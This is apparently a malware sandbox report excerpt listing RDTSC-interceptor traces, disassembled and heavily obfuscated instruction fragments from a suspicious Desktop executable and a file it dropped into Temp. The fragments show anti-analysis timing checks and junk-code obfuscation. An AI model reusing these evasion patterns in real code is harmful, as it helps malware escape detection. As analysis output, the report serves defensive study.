Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5520832 second address: 5520838 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5520838 second address: 5510204 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D6226Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b mov dh, al 0x0000000d pushad 0x0000000e mov cx, bx 0x00000011 mov dx, 5ED8h 0x00000015 popad 0x00000016 popad 0x00000017 leave 0x00000018 jmp 00007F8784D62277h 0x0000001d retn 0004h 0x00000020 nop 0x00000021 cmp eax, 00000000h 0x00000024 setne al 0x00000027 jmp 00007F8784D62262h 0x00000029 xor ebx, ebx 0x0000002b test al, 01h 0x0000002d jne 00007F8784D62267h 0x0000002f sub esp, 04h 0x00000032 mov dword ptr [esp], 0000000Dh 0x00000039 call 00007F878967FA3Ch 0x0000003e mov edi, edi 0x00000040 pushad 0x00000041 popad 0x00000042 xchg eax, ebp 0x00000043 jmp 00007F8784D6226Ch 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F8784D6226Dh 0x00000052 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5510204 second address: 5510208 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5510208 second address: 551020E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 551020E second address: 55102FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B3055Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F8784B30560h 0x0000000f mov ebp, esp 0x00000011 jmp 00007F8784B30560h 0x00000016 sub esp, 2Ch 0x00000019 pushad 0x0000001a push ecx 0x0000001b call 00007F8784B3055Dh 0x00000020 pop esi 0x00000021 pop ebx 0x00000022 pushfd 0x00000023 jmp 00007F8784B3055Eh 0x00000028 sbb cx, E3E8h 0x0000002d jmp 00007F8784B3055Bh 0x00000032 popfd 0x00000033 popad 0x00000034 xchg eax, ebx 0x00000035 pushad 0x00000036 mov eax, 7CF3CAFBh 0x0000003b mov edi, esi 0x0000003d popad 0x0000003e push eax 0x0000003f pushad 0x00000040 pushfd 0x00000041 jmp 00007F8784B30563h 0x00000046 sbb eax, 563B33DEh 0x0000004c jmp 00007F8784B30569h 0x00000051 popfd 0x00000052 pushfd 0x00000053 jmp 00007F8784B30560h 0x00000058 jmp 00007F8784B30565h 0x0000005d popfd 0x0000005e popad 0x0000005f xchg eax, ebx 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007F8784B30568h 0x00000069 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 55102FB second address: 5510301 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5510301 second address: 5510308 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5510308 second address: 5510316 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5510316 second address: 551031A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 551031A second address: 5510335 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62277h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5510335 second address: 551037C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B30569h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushfd 0x0000000e jmp 00007F8784B3055Dh 0x00000013 add ecx, 70441796h 0x00000019 jmp 00007F8784B30561h 0x0000001e popfd 0x0000001f rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5510459 second address: 5510484 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D6226Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8784D62275h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5510484 second address: 55104C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B30561h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b jmp 00007F8784B3055Eh 0x00000010 je 00007F8784B30769h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 jmp 00007F8784B3055Dh 0x0000001e mov edi, ecx 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 55104C2 second address: 5510510 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D6226Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea ecx, dword ptr [ebp-14h] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F8784D6226Ch 0x00000013 or ecx, 6FAB89E8h 0x00000019 jmp 00007F8784D6226Bh 0x0000001e popfd 0x0000001f mov bx, cx 0x00000022 popad 0x00000023 mov dword ptr [ebp-14h], edi 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F8784D62271h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5510568 second address: 551057A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8784B3055Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 55106F5 second address: 55106FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 55106FC second address: 55107F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8784B30566h 0x00000009 sbb ax, 9E58h 0x0000000e jmp 00007F8784B3055Bh 0x00000013 popfd 0x00000014 movzx esi, dx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, esi 0x0000001b pushad 0x0000001c pushad 0x0000001d mov eax, 38179559h 0x00000022 popad 0x00000023 pushfd 0x00000024 jmp 00007F8784B30566h 0x00000029 xor si, 2FE8h 0x0000002e jmp 00007F8784B3055Bh 0x00000033 popfd 0x00000034 popad 0x00000035 nop 0x00000036 pushad 0x00000037 call 00007F8784B30564h 0x0000003c pushfd 0x0000003d jmp 00007F8784B30562h 0x00000042 sub cx, 4D78h 0x00000047 jmp 00007F8784B3055Bh 0x0000004c popfd 0x0000004d pop eax 0x0000004e pushfd 0x0000004f jmp 00007F8784B30569h 0x00000054 and ah, 00000016h 0x00000057 jmp 00007F8784B30561h 0x0000005c popfd 0x0000005d popad 0x0000005e push eax 0x0000005f jmp 00007F8784B30561h 0x00000064 nop 0x00000065 jmp 00007F8784B3055Eh 0x0000006a xchg eax, ebx 0x0000006b push eax 0x0000006c push edx 0x0000006d push eax 0x0000006e push edx 0x0000006f pushad 0x00000070 popad 0x00000071 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 55107F2 second address: 55107F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 55107F8 second address: 55107FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5510861 second address: 5510867 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5510867 second address: 551087D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 9DA3h 0x00000007 mov cx, 70FFh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov esi, eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 551087D second address: 5510881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5510881 second address: 5510887 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5510887 second address: 55108AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ebx 0x00000005 movzx ecx, di 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F8784D62275h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 55108AD second address: 55108C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B30561h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 55108C2 second address: 5510020 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62271h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F87F4C3FFE4h 0x0000000f xor eax, eax 0x00000011 jmp 00007F8784D3B99Ah 0x00000016 pop esi 0x00000017 pop edi 0x00000018 pop ebx 0x00000019 leave 0x0000001a retn 0004h 0x0000001d nop 0x0000001e xor ebx, ebx 0x00000020 cmp eax, 00000000h 0x00000023 je 00007F8784D623C3h 0x00000029 call 00007F878967F6EDh 0x0000002e mov edi, edi 0x00000030 jmp 00007F8784D62277h 0x00000035 xchg eax, ebp 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 pushad 0x0000003a popad 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5510020 second address: 55100A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B3055Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b call 00007F8784B30561h 0x00000010 pushfd 0x00000011 jmp 00007F8784B30560h 0x00000016 add eax, 578F75D8h 0x0000001c jmp 00007F8784B3055Bh 0x00000021 popfd 0x00000022 pop eax 0x00000023 push edi 0x00000024 pushfd 0x00000025 jmp 00007F8784B30564h 0x0000002a adc ax, C038h 0x0000002f jmp 00007F8784B3055Bh 0x00000034 popfd 0x00000035 pop eax 0x00000036 popad 0x00000037 xchg eax, ebp 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F8784B30561h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 55100A4 second address: 55100AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 55100AA second address: 55100B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 0F29h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 55100B3 second address: 55100C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebp, esp 0x00000009 pushad 0x0000000a mov edi, ecx 0x0000000c popad 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 55100C7 second address: 55100E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B30567h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 55100E2 second address: 55100E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 55100E8 second address: 55100EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 55100EC second address: 55100F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 55100F0 second address: 5510107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8784B3055Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5510107 second address: 5510146 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 2B34h 0x00000007 pushfd 0x00000008 jmp 00007F8784D6226Dh 0x0000000d add si, 82F6h 0x00000012 jmp 00007F8784D62271h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov dword ptr [ebp-04h], 55534552h 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 movsx edx, si 0x00000028 push ecx 0x00000029 pop ebx 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5510169 second address: 55101C5 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F8784B3055Bh 0x00000008 xor si, 258Eh 0x0000000d jmp 00007F8784B30569h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 leave 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a movsx ebx, si 0x0000001d pushfd 0x0000001e jmp 00007F8784B30564h 0x00000023 and al, 00000038h 0x00000026 jmp 00007F8784B3055Bh 0x0000002b popfd 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 55101C5 second address: 55101CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 55101CB second address: 55101CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5510CCE second address: 5510CE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8784D6226Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5510CE0 second address: 5510D62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B3055Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F8784B30564h 0x00000013 xor ah, FFFFFFC8h 0x00000016 jmp 00007F8784B3055Bh 0x0000001b popfd 0x0000001c mov ah, 29h 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 jmp 00007F8784B3055Bh 0x00000026 cmp dword ptr [7544459Ch], 05h 0x0000002d pushad 0x0000002e mov dx, ax 0x00000031 jmp 00007F8784B30560h 0x00000036 popad 0x00000037 je 00007F87F49FE212h 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F8784B30567h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5510D62 second address: 5510D68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5510D68 second address: 5510D6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5510D6C second address: 5510D70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5510D70 second address: 5510D81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d pop edx 0x0000000e mov al, C0h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5510E39 second address: 5510E3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5510E3D second address: 5510E91 instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 test al, al 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F8784B3055Dh 0x00000011 or ax, 5286h 0x00000016 jmp 00007F8784B30561h 0x0000001b popfd 0x0000001c mov ecx, 4A927037h 0x00000021 popad 0x00000022 je 00007F87F49F4068h 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F8784B30564h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5510E91 second address: 5510E95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5510E95 second address: 5510E9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 552088C second address: 5520892 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5520892 second address: 5520896 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5520896 second address: 5520907 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62273h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F8784D62274h 0x00000013 and ah, FFFFFFF8h 0x00000016 jmp 00007F8784D6226Bh 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F8784D62278h 0x00000022 or si, A858h 0x00000027 jmp 00007F8784D6226Bh 0x0000002c popfd 0x0000002d popad 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5520907 second address: 552090B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 552090B second address: 5520911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5520911 second address: 55209A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8784B30563h 0x00000009 sub al, FFFFFFCEh 0x0000000c jmp 00007F8784B30569h 0x00000011 popfd 0x00000012 mov si, E9D7h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F8784B3055Fh 0x00000023 adc ecx, 6424B9DEh 0x00000029 jmp 00007F8784B30569h 0x0000002e popfd 0x0000002f pushfd 0x00000030 jmp 00007F8784B30560h 0x00000035 adc eax, 5186F1D8h 0x0000003b jmp 00007F8784B3055Bh 0x00000040 popfd 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 55209A4 second address: 5520A22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62279h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov eax, 162CB813h 0x00000011 pushfd 0x00000012 jmp 00007F8784D62278h 0x00000017 jmp 00007F8784D62275h 0x0000001c popfd 0x0000001d popad 0x0000001e xchg eax, esi 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F8784D6226Ch 0x00000026 xor cl, FFFFFFF8h 0x00000029 jmp 00007F8784D6226Bh 0x0000002e popfd 0x0000002f movzx esi, bx 0x00000032 popad 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5520A22 second address: 5520A26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5520A26 second address: 5520A2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5520A2C second address: 5520A4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B30566h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5520A4D second address: 5520A6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62279h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5520A6A second address: 5520AE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B30561h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d mov ax, 2B73h 0x00000011 mov dx, ax 0x00000014 popad 0x00000015 test esi, esi 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F8784B3055Ch 0x0000001e adc cx, 6A78h 0x00000023 jmp 00007F8784B3055Bh 0x00000028 popfd 0x00000029 popad 0x0000002a je 00007F87F49EDE60h 0x00000030 jmp 00007F8784B30566h 0x00000035 cmp dword ptr [7544459Ch], 05h 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F8784B30567h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5520AE9 second address: 5520AEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5520AEF second address: 5520AF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5520AF3 second address: 5520B09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F87F4C37C02h 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 movzx eax, bx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5520BBA second address: 5520BDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov ecx, 2CA9921Dh 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8784B30565h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5520BDF second address: 5520BE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5520BE5 second address: 5520BFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B3055Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b movzx ecx, bx 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe RDTSC instruction interceptor: First address: 5520C16 second address: 5520C38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62277h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe RDTSC instruction interceptor: First address: 435A9E second address: 435AA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe RDTSC instruction interceptor: First address: 42EBAC second address: 42EBB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\225E7CNEQKY05J8BSS2KINA.exe RDTSC instruction interceptor: First address: 42EBB0 second address: 42EBC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F8784B30563h 0x0000000c jmp 00007F8784B3055Bh 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
